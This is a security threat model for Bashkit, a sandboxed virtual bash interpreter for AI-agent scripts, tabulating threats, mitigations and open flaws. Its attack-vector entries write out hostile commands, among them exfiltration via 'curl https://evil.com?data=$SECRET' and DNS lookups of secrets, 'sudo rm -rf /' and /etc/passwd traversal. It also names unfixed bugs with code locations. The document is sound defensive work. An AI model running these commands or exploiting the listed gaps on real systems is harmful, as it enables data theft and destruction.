Living document
Bashkit is a virtual bash interpreter for multi-tenant environments, primarily designed for AI agent script execution. This document analyzes security threats and mitigations.
Threat Actors: Malicious or buggy scripts from untrusted sources (AI agents, users) Assets: Host CPU, memory, filesystem, network, secrets, other tenants
This section documents the process for managing stable threat IDs.
All threats use a stable ID format: TM-<CATEGORY>-<NUMBER>
| Prefix | Category | Description |
|---|---|---|
| TM-DOS | Denial of Service | Resource exhaustion, infinite loops, CPU/memory attacks |
| TM-ESC | Sandbox Escape | Filesystem escape, process escape, privilege escalation |
| TM-INF | Information Disclosure | Secrets access, host info leakage, data exfiltration |
| TM-INJ | Injection | Command injection, path injection |
| TM-NET | Network Security | DNS manipulation, HTTP attacks, network bypass |
| TM-ISO | Isolation | Multi-tenant cross-access |
| TM-INT | Internal Errors | Panic recovery, error message safety, unexpected failures |
| TM-GIT | Git Security | Repository access, identity leak, remote operations |
| TM-LOG | Logging Security | Sensitive data in logs, log injection, log volume attacks |
| TM-CRY | Cryptographic Material Security | Private key handling, zeroization, key lifetime minimization |
| TM-PY | Python Security | Embedded Python sandbox escape, VFS isolation, resource limits |
| TM-TS | TypeScript Security | Embedded TypeScript sandbox escape, VFS isolation, resource limits |
| TM-UNI | Unicode Security | Byte-boundary panics, invisible chars, homoglyphs, normalization |
- Assign ID: Use next available number in category (e.g., TM-DOS-010)
- Never reuse IDs: Deprecated threats keep their ID with
[DEPRECATED]prefix - Update public doc: Add entry to
crates/bashkit/docs/threat-model.md - Add code comment: Reference threat ID at mitigation point (see format below)
- Add test: Create test in
tests/threat_model_tests.rsreferencing ID
// THREAT[TM-XXX-NNN]: Brief description of the threat being mitigated
// Mitigation: What this code does to prevent the attackThe public-facing threat model lives in crates/bashkit/docs/threat-model.md and is
embedded in rustdoc. It contains:
- High-level threat categories
- Attack vectors and mitigations
- Links to relevant code and tests
- Caller responsibilities
┌─────────────────────────────────────────────────────────────┐
│ UNTRUSTED │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Script Input (bash code) │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ TRUST BOUNDARY: Bash::exec(&str) │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │
└───────────────────────────┼──────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ VIRTUAL │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ Parser │→ │Interpreter│→ │Virtual FS│ │ Network │ │
│ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │
│ │
│ Controls: Resource Limits, FS Isolation, Network Allowlist │
└─────────────────────────────────────────────────────────────┘
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-DOS-001 | Large script input | Bash::exec(huge_string) |
max_input_bytes limit (10MB) |
MITIGATED |
| TM-DOS-002 | Output flooding | yes | head -n 1000000000 |
Command limit stops loop | Mitigated |
| TM-DOS-003 | Variable explosion | x=$(cat /dev/urandom) |
/dev/urandom returns bounded 8KB | Mitigated |
| TM-DOS-004 | Array growth | arr+=(element) in loop |
Command limit | Mitigated |
Current Risk: LOW - Input size and command limits prevent unbounded memory consumption
Implementation: ExecutionLimits in limits.rs:
max_input_bytes: 10_000_000, // 10MB script limit (TM-DOS-001)
max_commands: 10_000, // Command limit per exec() call (TM-DOS-002, TM-DOS-004)Scope: Limits are enforced per exec() call. Counters reset at the start of
each invocation via ExecutionCounters::reset_for_execution(), so a prior script
hitting the limit does not permanently poison the session. The timeout (30s) provides
the session-level backstop.
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-DOS-005 | Large file creation | dd if=/dev/zero bs=1G count=100 |
max_file_size limit |
MITIGATED |
| TM-DOS-006 | Many small files | for i in $(seq 1 1000000); do touch $i; done |
max_file_count limit |
MITIGATED |
| TM-DOS-007 | Zip bomb | gunzip bomb.gz (small file → huge output) |
Decompression limit | MITIGATED |
| TM-DOS-008 | Tar bomb | tar -xf bomb.tar (many files / large files) |
FS limits | MITIGATED |
| TM-DOS-009 | Recursive copy | cp -r /tmp /tmp/copy |
FS limits | MITIGATED |
| TM-DOS-010 | Append flood | while true; do echo x >> file; done |
FS limits + loop limit | MITIGATED |
| TM-DOS-034 | TOCTOU in append_file | Concurrent appends between read-lock and write-lock bypass size checks | Single write lock for entire read-check-write | FIXED |
| TM-DOS-035 | OverlayFs limit check upper-only | check_write_limits() ignores lower layer usage, allowing combined usage to exceed limits |
— | OPEN |
| TM-DOS-036 | OverlayFs usage double-count | compute_usage() double-counts overwritten/whited-out files |
— | OPEN |
| TM-DOS-037 | OverlayFs chmod CoW bypass | chmod copy-on-write writes to unlimited upper layer, bypassing overlay limits |
— | OPEN |
| TM-DOS-038 | OverlayFs incomplete recursive whiteout | rm -r /dir only whiteouts directory, not children; lower layer files remain visible |
— | OPEN |
| TM-DOS-039 | Missing validate_path in VFS methods | remove, stat, read_dir, copy, rename, symlink, chmod skip validate_path() |
— | OPEN |
| TM-DOS-040 | Integer truncation on 32-bit | u64 as usize casts in network/Python extension silently truncate on 32-bit, bypassing size checks |
— | OPEN |
TM-DOS-034: Fixed. InMemoryFs::append_file() now uses a single write lock for the entire
read-check-write operation, preventing TOCTOU races. See fs/memory.rs:940-942.
TM-DOS-035: OverlayFs::check_write_limits() (line 263-293) checks only upper layer bytes.
With 80MB in lower and 100MB limit, upper gets another full 100MB (180MB total). Fix: use
compute_usage() for combined accounting.
TM-DOS-036: OverlayFs::compute_usage() (line 246-259) sums upper + lower without deducting
overwritten or whited-out files. Causes premature limit rejections. Fix: subtract overrides.
TM-DOS-037: OverlayFs::chmod() (line 610-638) triggers copy-on-write directly to self.upper
which has FsLimits::unlimited(). Fix: route through check_write_limits().
TM-DOS-038: OverlayFs::remove() (line 456-484) whiteouts directory path only.
is_whiteout() uses exact match so /dir/file.txt stays visible from lower layer. Fix: check
ancestor whiteouts in is_whiteout().
TM-DOS-039: validate_path() only called in read_file, write_file, append_file, mkdir.
Missing from remove, stat, read_dir, exists, rename, copy, symlink, read_link,
chmod. copy() also skips check_write_limits(). Fix: add validation to all path-accepting methods.
TM-DOS-040: network/client.rs:236,419 and bashkit-python/src/lib.rs:197,200 cast u64 to
usize. On 32-bit, Content-Length: 5GB truncates to ~1GB. Fix: use usize::try_from().
Current Risk: MEDIUM - OverlayFs limit accounting has multiple gaps (TM-DOS-034 to TM-DOS-039)
Implementation: FsLimits struct in fs/limits.rs:
FsLimits {
max_total_bytes: 100_000_000, // 100MB total (TM-DOS-005, TM-DOS-008, TM-DOS-009)
max_file_size: 10_000_000, // 10MB per file (TM-DOS-005, TM-DOS-007)
max_file_count: 10_000, // 10K files max (TM-DOS-006, TM-DOS-008)
}Zip Bomb Protection (TM-DOS-007):
- Decompression operations check output size against
max_file_size - Archive extraction checks total extracted size against
max_total_bytes - Extraction aborts early if limits would be exceeded
Monitoring: du and df builtins allow scripts to check usage
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-DOS-011 | Symlink loops | ln -s /a /b; ln -s /b /a |
No symlink following | MITIGATED |
| TM-DOS-012 | Deep directory nesting | mkdir -p a/b/c/.../z (1000 levels) |
max_path_depth limit (100) |
MITIGATED |
| TM-DOS-013 | Long filenames | Create 10KB filename | max_filename_length (255) + max_path_length (4096) |
MITIGATED |
| TM-DOS-014 | Many directory entries | Create 1M files in one dir | max_file_count limit |
MITIGATED |
| TM-DOS-015 | Unicode path attacks | Homoglyph/RTL override chars | validate_path() rejects control chars and bidi overrides |
MITIGATED |
Current Risk: LOW - All vectors protected
Implementation: FsLimits in fs/limits.rs:
max_path_depth: 100, // Max directory nesting (TM-DOS-012)
max_filename_length: 255, // Max single component (TM-DOS-013)
max_path_length: 4096, // Max total path (TM-DOS-013)
// validate_path() rejects control chars and bidi overrides (TM-DOS-015)Note: Symlink loops (TM-DOS-011) are mitigated because InMemoryFs stores symlinks but doesn't
follow them during path resolution - symlink targets are only returned by read_link().
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-DOS-016 | While true | while true; do :; done |
Loop limit (10K) | MITIGATED |
| TM-DOS-017 | For loop | for i in $(seq 1 inf); do |
Loop limit | MITIGATED |
| TM-DOS-018 | Nested loops | for i in ...; do for j in ...; done; done |
Per-loop + max_total_loop_iterations (1M) |
MITIGATED |
| TM-DOS-019 | Command loop | echo 1; echo 2; ... x 100K |
Command limit (10K) | MITIGATED |
Current Risk: LOW - Loop and command limits prevent infinite execution
Implementation: limits.rs
max_loop_iterations: 10_000, // Per-loop limit (TM-DOS-016, TM-DOS-017)
max_total_loop_iterations: 1_000_000, // Global cap across all loops (TM-DOS-018)
max_commands: 10_000, // Per-exec() command limit (TM-DOS-019)All counters (commands, loop iterations, total loop iterations, function depth)
reset at the start of each exec() call. This ensures limits protect against
runaway scripts without permanently breaking the session.
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-DOS-020 | Function recursion | f() { f; }; f |
Depth limit (100) | MITIGATED |
| TM-DOS-021 | Command sub nesting | $($($($()))) |
Child parsers inherit remaining depth budget + fuel from parent | MITIGATED |
| TM-DOS-022 | Parser recursion | Deeply nested (((()))) |
max_ast_depth limit (100) + HARD_MAX_AST_DEPTH cap (100) |
MITIGATED |
| TM-DOS-026 | Arithmetic recursion | $(((((((...))))))) deeply nested parens |
MAX_ARITHMETIC_DEPTH limit (50) |
MITIGATED |
Current Risk: LOW - Both execution and parser protected
Implementation: limits.rs, parser/mod.rs, interpreter/mod.rs
max_function_depth: 100, // Runtime recursion (TM-DOS-020, TM-DOS-021)
max_ast_depth: 100, // Parser recursion (TM-DOS-022)
// TM-DOS-021: Child parsers in command/process substitution inherit remaining
// depth budget and fuel from parent parser (parser/mod.rs lines 1553, 1670)
// TM-DOS-026: Arithmetic evaluator tracks recursion depth, capped at 50
// (interpreter/mod.rs MAX_ARITHMETIC_DEPTH)History (TM-DOS-021): Previously marked MITIGATED but child parsers created via
Parser::new() used default limits, ignoring parent configuration. Fixed to propagate
remaining_depth and fuel from parent parser.
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-DOS-023 | Long computation | Complex awk/sed regex | Timeout (30s) | MITIGATED |
| TM-DOS-024 | Parser hang | Malformed input | parser_timeout (5s) + max_parser_operations |
MITIGATED |
| TM-DOS-025 | Regex backtrack | grep "a](*b)*c" file |
Regex crate limits | Partial |
| TM-DOS-027 | Builtin parser recursion | Deeply nested awk/jq expressions | MAX_AWK_PARSER_DEPTH (100) + MAX_JQ_JSON_DEPTH (100) |
MITIGATED |
| TM-DOS-028 | Diff algorithm DoS | diff on two large unrelated files |
LCS matrix capped at 10M cells; falls back to simple line-by-line output | MITIGATED |
| TM-DOS-029 | Arithmetic overflow/panic | $(( 2 ** -1 )), $(( 1 << 64 )), i64::MIN / -1 |
— | OPEN |
| TM-DOS-030 | Parser limit bypass via eval/source/trap | eval, source, trap handlers now use Parser::with_limits() |
— | FIXED (2026-03 audit verified) |
| TM-DOS-031 | ExtGlob exponential blowup | +(a|aa) against long string causes O(n!) recursion in glob_match_impl |
— | OPEN |
| TM-DOS-035 | DEBUG trap recursive amplification | trap 'a=1;b=2;...' DEBUG amplifies N commands to N*M |
Suppress DEBUG trap inside trap handlers (in_trap guard) |
FIXED |
| TM-DOS-032 | Tokio runtime exhaustion (Python) | Rapid execute_sync() calls each create new tokio runtime, exhausting OS threads |
— | OPEN |
| TM-DOS-033 | AWK unbounded loops | BEGIN { while(1){} } has no iteration limit in AWK interpreter |
Timeout (30s) backstop | PARTIAL |
| TM-DOS-051 | YAML parser unbounded recursion | yaml get key on deeply nested YAML input causes stack overflow in parse_yaml_block/parse_yaml_map/parse_yaml_list |
catch_unwind (TM-INT-001) catches panic; no depth limit |
OPEN |
| TM-DOS-052 | Template engine unbounded recursion | {{#if}} and {{#each}} blocks call render_template recursively with no depth limit |
catch_unwind catches stack overflow; no depth cap |
OPEN |
| TM-DOS-053 | Template {{#each}} output explosion |
{{#each arr}} on large JSON array produces O(n * body) output |
Bounded by JSON data file size (max_file_size) | MITIGATED |
| TM-DOS-054 | glob --files inherits ExtGlob blowup |
`glob --files "+(a | aa)" /dirdispatches toglob_match` with same exponential cost as TM-DOS-031 |
Same as TM-DOS-031 |
| TM-DOS-055 | split file count amplification |
split -l 1 bigfile creates one output file per line; bounded by max_file_count FS limit |
FS limits (TM-DOS-006) | MITIGATED |
| TM-DOS-056 | source self-recursion stack overflow |
Script that sources itself causes unbounded recursion; function depth limit doesn't apply to source |
— | OPEN |
| TM-DOS-057 | sleep bypasses execution timeout |
sleep, (sleep N), echo x | sleep N, sleep N & wait, timeout N sleep N all ignore ExecutionLimits::timeout |
— | OPEN |
| TM-DOS-058 | Single-builtin unbounded output | seq 1 1000000 produces 1M lines despite command limit; single builtin call generates unbounded output (see also #648) |
— | OPEN |
| TM-DOS-059 | Parameter expansion replacement bomb | ${x//a/$(printf 'b%.0s' {1..1000})} on large x amplifies output multiplicatively (10K × 1K = 10MB) |
max_total_variable_bytes + max_stdout_bytes |
MITIGATED |
| TM-DOS-060 | Sparse array huge-index allocation | arr[999999999]=x could allocate ~1B empty slots if arrays are Vec-backed; negative indices could cause OOB |
HashMap-based arrays; max_array_entries caps total entries |
MITIGATED |
| TM-DOS-061 | Snapshot function restore bypasses parser/function limits | Crafted snapshot restores prebuilt or deeply nested functions that exceed the current tenant's parser depth or function memory budget | Re-parse restored function source with current ExecutionLimits; re-apply function memory budget before insertion |
MITIGATED |
TM-DOS-051: builtins/yaml.rs — parse_yaml_block, parse_yaml_map, parse_yaml_list recurse
on nested YAML structures with no depth counter. Crafted YAML with 1000+ nesting levels causes stack
overflow. catch_unwind (TM-INT-001) prevents process crash but returns unhelpful error.
Fix: add depth parameter, bail at 100 levels.
TM-DOS-052: builtins/template.rs:render_template() recurses for {{#if}} and {{#each}}
blocks. Template {{#if a}}{{#if b}}...{{/if}}{{/if}} with 1000+ nesting levels causes stack
overflow. Fix: add depth parameter, bail at 50 levels.
Current Risk: MEDIUM - Three open DoS vectors (TM-DOS-029, TM-DOS-030, TM-DOS-031) need remediation
TM-DOS-029: Arithmetic exponentiation casts i64 to u32 (right as u32), wrapping negatives.
i64::pow() with large exponent panics or hangs. Shift operators panic if right >= 64 or right < 0.
i64::MIN / -1 panics. All arithmetic panics in debug on overflow.
Fix: use wrapping_* operations and clamp shift/exponent ranges.
TM-DOS-030: eval (line 4613), source (line 4548), trap handlers (lines 697, 7795), and alias
expansion (line 3627) all use Parser::new() which ignores configured max_ast_depth and
max_parser_operations. Previously fixed for command substitution (TM-DOS-021) but not these paths.
Fix: use Parser::with_limits() everywhere.
TM-DOS-031: ExtGlob +(...) and *(...) handlers recurse without depth limit. Pattern
+(a|aa) against "aaaa..." creates exponential backtracking via nested glob_match_impl calls.
Fix: add depth parameter to glob_match_impl, bail when exceeded.
Implementation: limits.rs, builtins/awk.rs, builtins/jq.rs, builtins/diff.rs
timeout: Duration::from_secs(30), // Execution timeout (TM-DOS-023)
parser_timeout: Duration::from_secs(5), // Parser timeout (TM-DOS-024)
max_parser_operations: 100_000, // Parser fuel (TM-DOS-024)
// TM-DOS-027: Builtin parser depth limits (compile-time constants)
// MAX_AWK_PARSER_DEPTH: 100 (builtins/awk.rs) - awk expression recursion
// MAX_JQ_JSON_DEPTH: 100 (builtins/jq.rs) - JSON input nesting depth
// TM-DOS-028: Diff LCS matrix cap (builtins/diff.rs)
// MAX_LCS_CELLS: 10_000_000 - prevents O(n*m) memory/CPU blow-up| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-ESC-001 | Path traversal | cat ../../../etc/passwd |
Path normalization | MITIGATED |
| TM-ESC-002 | Symlink escape | ln -s /etc/passwd /tmp/x |
Symlinks not followed | MITIGATED |
| TM-ESC-003 | Real FS access | Direct syscalls | No real FS by default; RealFs canonicalizes existing paths and nearest existing ancestors before attaching missing suffixes |
MITIGATED |
| TM-ESC-004 | Mount escape | Mount real paths | MountableFs controlled | MITIGATED |
| TM-ESC-016 | Symlink escape via overlay rename | ln -s /etc/passwd x; mv x y |
Overlay rename/copy preserve symlinks as symlinks | FIXED |
Current Risk: MEDIUM - Two open escape vectors (TM-ESC-012, TM-ESC-013) need remediation
Implementation: fs/memory.rs - normalize_path() function
- Collapses
..components at path boundaries - Ensures all paths stay within virtual root
| TM-ESC-012 | VFS limit bypass via public API | add_file() / restore() skip validate_path() and check_write_limits() | — | OPEN |
| TM-ESC-013 | OverlayFs upper() exposes unlimited FS | OverlayFs::upper() returns InMemoryFs with FsLimits::unlimited() | — | OPEN |
| TM-ESC-014 | BashTool custom builtins lost after first call | std::mem::take empties builtins on first execute(), removing security wrappers | Arc-cloned builtins survive across calls | FIXED |
TM-ESC-012: InMemoryFs::add_file() is pub and does not call validate_path() or
check_write_limits(). restore() deserializes without validation. Any code with InMemoryFs
access can bypass all limits. Fix: add limit checks or restrict visibility to pub(crate).
TM-ESC-013: OverlayFs::upper() returns &InMemoryFs with unlimited limits. Callers can
write unlimited data via overlay.upper().write_file(). Fix: don't expose upper() publicly,
or return a view that enforces the overlay's limits.
TM-ESC-014: Fixed. BashTool::create_bash() now clones Arc-wrapped builtins instead of
taking ownership via std::mem::take. Custom builtins persist across multiple calls. See tool.rs:659-662.
TM-ESC-016: Fixed. OverlayFs::rename and copy previously used read_file() + write_file()
which silently failed on symlinks (since read_file intentionally doesn't follow symlinks per
TM-ESC-002). A symlink could not be renamed at all, but the underlying design gap meant any future
relaxation of symlink-following policy could expose the target. Fix: rename/copy now detect
symlinks via stat() and use read_link() + symlink() to preserve them. Same fix applied to
MountableFs cross-mount operations. See fs/overlay.rs and fs/mountable.rs.
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-ESC-005 | Shell escape | exec /bin/bash |
exec runs command within VFS sandbox then exits (no real process replacement); host binaries unreachable | MITIGATED |
| TM-ESC-006 | Subprocess | ./malicious |
Script execution runs within VFS sandbox (no host shell) | MITIGATED |
| TM-ESC-007 | Background proc | malicious & |
Background not implemented | MITIGATED |
| TM-ESC-008 | eval injection | eval "$user_input" |
eval runs in sandbox (builtins only) | MITIGATED |
| TM-ESC-015 | bash/sh escape | bash -c "malicious" |
Sandboxed re-invocation (no external bash) | MITIGATED |
| TM-ESC-030 | mount-rw in MCP mode | bashkit mcp --mount-rw / |
CLI emits loud warning; docs recommend --mount-ro |
MITIGATED |
Current Risk: LOW - No external process execution capability
Implementation: Unimplemented commands return bash-compatible error:
- Exit code: 127
- Stderr:
bash: <cmd>: command not found - Script continues execution (unless
set -e)
bash/sh Re-invocation (TM-ESC-015): The bash and sh commands are handled
specially to re-invoke the virtual interpreter rather than spawning external
processes. This enables common patterns while maintaining security:
bash -c "cmd"executes within the same virtual environment constraintsbash script.shreads and interprets the script in-processbash --versionreturns Bashkit version (never real bash info)- Resource limits and virtual filesystem are shared with parent
- No escape to host shell is possible
Script Execution by Path (TM-ESC-006): Scripts can be executed by absolute
path (/path/to/script.sh), relative path (./script.sh), or $PATH search.
All execution stays within the virtual interpreter — no OS subprocess is spawned:
- File must exist in VFS and have execute permission (mode & 0o111)
- Exit 127 for missing files, exit 126 for non-executable or directories
- Shebang line stripped; content parsed and executed as bash
$0= script name,$1..N= arguments via call frame- Resource limits and VFS constraints apply to executed scripts
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-ESC-009 | sudo/su | sudo rm -rf / |
Not implemented | MITIGATED |
| TM-ESC-010 | setuid | Permission changes | Virtual FS, no real perms | MITIGATED |
| TM-ESC-011 | Capability abuse | Linux capabilities | Runs in-process | MITIGATED |
Current Risk: NONE - No privilege operations available
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-INF-001 | Env var leak | echo $SECRET_KEY |
Env vars caller-controlled | CALLER RISK |
| TM-INF-002 | File secrets | cat /secrets/key |
Virtual FS isolation | MITIGATED |
| TM-INF-003 | Proc secrets | /proc/self/environ |
No /proc filesystem | MITIGATED |
| TM-INF-004 | Memory dump | Core dumps | No crash dumps | MITIGATED |
| TM-INF-013 | Host env leak via jq | jq now uses custom $__bashkit_env__ variable, not std::env | — | FIXED (2026-03 audit verified) |
| TM-INF-014 | Real PID leak via $$ | $$ now returns virtual PID (1) instead of real process ID | — | FIXED (2026-03 audit verified) |
| TM-INF-015 | URL credentials in errors | Allowlist "blocked" error echoes full URL including credentials | — | OPEN |
| TM-INF-016 | Internal state in error messages | std::io::Error, reqwest errors, Debug-formatted errors leak host paths/IPs/TLS info | sanitize_error_message() strips paths/IPs/TLS; Error::network_sanitized() wraps reqwest | FIXED |
| TM-INF-019 | envsubst exposes all env vars | envsubst substitutes $VAR/${VAR} from ctx.env — scripts can probe any env var | Same as TM-INF-001 (caller controls env) | CALLER RISK |
| TM-INF-020 | template exposes env vars via {{var}} | Template builtin looks up variables from env as fallback after shell vars and JSON data | Same as TM-INF-001 (caller controls env) | CALLER RISK |
| TM-INF-021 | Stack backtrace information disclosure | Panics leak internal source paths, dependency versions, and function names via stderr | Custom panic hook suppresses backtraces in CLI | MITIGATED |
TM-INF-013: The jq builtin (builtins/jq.rs:414-421) calls std::env::set_var() to expose
shell variables to jaq's env function. This also makes host process env vars (API keys, tokens)
visible. Additionally, set_var is thread-unsafe (unsound in Rust 2024 edition). Fix: provide
custom env impl to jaq reading from ctx.env/ctx.variables.
TM-INF-014: $$ (interpreter/mod.rs:7615) returns std::process::id(), leaking the real
host PID. All other system builtins return virtual values. Fix: return fixed or random value.
TM-INF-015: network/allowlist.rs:144 echoes full URL in error messages, potentially including
user:pass@ in the authority. Fix: apply LogConfig::redact_url() to URLs in errors.
TM-INF-016: Multiple error paths leak internal details: error.rs:38 wraps std::io::Error
(may include host paths), network/client.rs:224 wraps reqwest errors (resolved IPs, TLS info),
git/client.rs includes VFS paths and remote URLs, scripted_tool/execute.rs:323 uses {:?}
(Debug format) while BashTool uses error_kind() — inconsistent. Fix: use Display format
consistently, wrap external errors with sanitized messages.
Current Risk: MEDIUM - Caller must sanitize environment variables; jq leaks host env
Caller Responsibility (TM-INF-001): Do NOT pass sensitive env vars:
// UNSAFE - leaks secrets
Bash::builder()
.env("DATABASE_URL", "postgres://user:pass@host/db")
.build();
// SAFE - only pass needed vars
Bash::builder()
.env("HOME", "/home/user")
.build();| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-INF-005 | Hostname | hostname, $HOSTNAME |
Returns configurable virtual value | MITIGATED |
| TM-INF-006 | Username | whoami, $USER |
Returns configurable virtual value | MITIGATED |
| TM-INF-007 | IP address | ip addr, ifconfig |
Not implemented | MITIGATED |
| TM-INF-008 | System info | uname -a |
Returns configurable virtual values | MITIGATED |
| TM-INF-009 | User ID | id |
Returns hardcoded uid=1000 | MITIGATED |
Current Risk: NONE - System builtins return configurable virtual values (never real host info)
Implementation: builtins/system.rs provides configurable system builtins:
hostname→ configurable (default: "bashkit-sandbox")uname→ hardcoded Linux 5.15.0 / configurable hostnamewhoami→ configurable (default: "sandbox")id→ uid=1000(configurable) gid=1000(configurable)
Configuration:
Bash::builder()
.username("deploy") // Sets whoami, id, and $USER env var
.hostname("my-server") // Sets hostname, uname -n
.build();| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-INF-010 | HTTP exfil | curl https://evil.com?data=$SECRET |
Network allowlist | MITIGATED |
| TM-INF-011 | DNS exfil | nslookup $SECRET.evil.com |
No DNS commands | MITIGATED |
| TM-INF-012 | Timing channel | Response time variations | Not addressed | Minimal risk |
Current Risk: LOW - Network allowlist blocks unauthorized destinations
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-INJ-001 | Variable injection | $user_input containing ; rm -rf / |
Variables not re-parsed | MITIGATED |
| TM-INJ-002 | Backtick injection | `$malicious` |
Parsed as command sub | MITIGATED |
| TM-INJ-003 | eval bypass | eval $user_input |
eval sandboxed (builtins only) | MITIGATED |
Current Risk: MEDIUM - Internal variable namespace injection (TM-INJ-009) needs remediation
| TM-INJ-009 | Internal variable namespace injection | Set _NAMEREF_, _READONLY_, etc. directly | — | OPEN |
| TM-INJ-011 | Cyclic nameref silent resolution | Cyclic namerefs (a→b→a) silently resolve after 10 iterations instead of erroring | — | OPEN |
| TM-INJ-018 | dotenv internal variable prefix injection | .env file with _NAMEREF_x=target sets internal interpreter variables via ctx.variables.insert() | — | OPEN |
| TM-INJ-019 | unset removes readonly variables | readonly X=v; unset X removes the variable despite readonly attribute | — | OPEN |
| TM-INJ-020 | declare overwrites readonly variables | readonly X=v; declare X=new overwrites without error | — | OPEN |
| TM-INJ-021 | export overwrites readonly variables | readonly X=v; export X=new overwrites without error | — | OPEN |
TM-INJ-011: interpreter/mod.rs:7547-7560 — cyclic namerefs silently resolve to whatever
variable is current after 10 iterations. Real bash errors with circular name reference. Can
be exploited to read/write unintended variables. Fix: detect cycles (track visited names), error.
TM-INJ-018: builtins/dotenv.rs:142 — dotenv inserts parsed key-value pairs directly into
ctx.variables without checking is_internal_variable(). A .env file containing
_NAMEREF_x=target or _READONLY_x=1 manipulates interpreter internals. Same class as
TM-INJ-012–015. Fix: add is_internal_variable() check before ctx.variables.insert().
TM-INJ-009: The interpreter uses magic variable prefixes as internal control signals:
_NAMEREF_<name> (nameref), _READONLY_<name> (readonly), _SHIFT_COUNT, _SET_POSITIONAL,
_UPPER_<name>, _LOWER_<name>. User scripts can set these directly to bypass readonly
protection, create unauthorized namerefs, or manipulate builtins. ${!_NAMEREF_*} also exposes
all internal variables. Fix: use separate HashMap for internal state, or reject assignments
to reserved prefixes.
Example:
# User provides: "; rm -rf /"
user_input="; rm -rf /"
echo $user_input
# Output: "; rm -rf /" (literal string, not executed)| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-INJ-004 | Null byte | cat "file\x00/../etc/passwd" |
Rust strings no nulls | MITIGATED |
| TM-INJ-005 | Path traversal | ../../../../etc/passwd |
Path normalization | MITIGATED |
| TM-INJ-006 | Encoding bypass | URL/unicode encoding | PathBuf handles | MITIGATED |
| TM-INJ-010 | Tar path traversal within VFS | tar -xf with ../../../etc/passwd entry names |
— | OPEN |
| TM-INJ-017 | Unzip path traversal within VFS | unzip with ../../../etc/passwd entry names in custom BKZIP format |
— | OPEN |
TM-INJ-010: Tar entry names like ../../../etc/passwd pass through resolve_path() which
normalizes .. but can write to arbitrary VFS locations outside the extraction directory. A
crafted tar can overwrite any file in the VFS. Fix: validate resolved paths stay within
extract_base; reject entries with .. or leading /.
TM-INJ-017: builtins/zip_cmd.rs:341-342 — unzip joins entry path directly with
extract_base via extract_base.join(entry_path). Entry path ../../etc/passwd resolves
outside the extraction directory within VFS. Leading / is stripped but .. is not rejected.
Same class as TM-INJ-010. Fix: validate resolved path starts with extract_base; reject
entries containing .. components.
Current Risk: LOW - Rust's type system prevents most attacks; tar traversal is VFS-contained
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-INJ-007 | HTML in output | Script outputs <script> |
N/A - CLI tool | NOT APPLICABLE |
| TM-INJ-008 | Terminal escape | ANSI escape sequences | Caller should sanitize | CALLER RISK |
Current Risk: LOW - Bashkit is not a web application
Caller Responsibility (TM-INJ-008): Sanitize output if displayed in terminal/web UI:
let result = bash.exec(script).await?;
let safe_output = sanitize_terminal_escapes(&result.stdout);| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-NET-001 | DNS spoofing | Resolve to wrong IP | No DNS resolution | MITIGATED |
| TM-NET-002 | DNS rebinding | Rebind after allowlist check | Literal host matching | MITIGATED |
| TM-NET-003 | DNS exfiltration | dig secret.evil.com |
No DNS commands | MITIGATED |
Current Risk: NONE - Network allowlist uses literal host/IP matching, no DNS
Implementation: network/allowlist.rs - matches_pattern() function
// Allowlist matches literal strings, not resolved IPs
allowlist.allow("https://api.example.com");
// "api.example.com" must match exactly - no DNS lookup| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-NET-004 | IP instead of host | curl http://93.184.216.34 |
Literal IP blocked unless allowed | MITIGATED |
| TM-NET-005 | Port scanning | curl http://internal:$port |
Port must match allowlist | MITIGATED |
| TM-NET-006 | Protocol downgrade | HTTPS → HTTP | Scheme must match | MITIGATED |
| TM-NET-007 | Subdomain bypass | evil.example.com |
Exact host match | MITIGATED |
| TM-NET-015 | Domain allowlist scheme bypass | allow_domain() permits both http and https |
By design; use URL patterns for scheme control | BY DESIGN |
| TM-NET-016 | Domain allowlist port bypass | allow_domain() permits any port |
By design; use URL patterns for port control | BY DESIGN |
| TM-NET-017 | Wildcard subdomain exfiltration | curl https://$SECRET.example.com |
Wildcards not supported; exact domain match only | MITIGATED |
Current Risk: LOW - Strict allowlist enforcement
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-NET-008 | Large response DoS | curl https://evil.com/huge.bin |
Response size limit (10MB) | MITIGATED |
| TM-NET-009 | Connection hang | Server never responds | Connection timeout (10s default, user-configurable, clamped 1s-10min) | MITIGATED |
| TM-NET-010 | Slowloris attack | Slow response dripping | Read timeout (30s default, user-configurable, clamped 1s-10min) | MITIGATED |
| TM-NET-011 | Redirect bypass | Location: http://evil.com |
Redirects not auto-followed | MITIGATED |
| TM-NET-012 | Chunked encoding bomb | Infinite chunked response | Response size limit (streaming) | MITIGATED |
| TM-NET-013 | Gzip bomb / Zip bomb | 10KB gzip → 10GB decompressed | Auto-decompression disabled | MITIGATED |
